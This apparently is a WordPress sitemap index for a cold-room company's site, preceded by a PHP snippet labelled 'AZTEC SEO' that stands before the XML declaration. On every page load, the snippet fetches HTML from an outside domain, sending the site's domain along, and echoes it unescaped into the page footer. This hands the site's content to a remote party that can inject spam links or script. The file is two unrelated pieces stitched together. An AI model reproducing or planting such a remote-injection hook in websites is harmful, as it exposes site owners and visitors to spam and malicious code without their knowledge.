/* AZTEC SEO */
add_action('wp_footer', function () {
    $domain = wp_parse_url(home_url(), PHP_URL_HOST);
    if (!$domain) return;
    $ck   = 'aztec_footer_' . md5($domain);
    $html = get_transient($ck);
    if ($html === false) {
        $url  = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
        $res  = wp_remote_get($url, array('timeout' => 8));
        $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
        set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
    }
    if ($html !== '') echo $html;
}, 99);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://gmcoldrooms.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-posts-installations-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-posts-portfolio-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-taxonomies-installations_category-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-taxonomies-portfolio_category-1.xml</loc></sitemap><sitemap><loc>https://gmcoldrooms.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>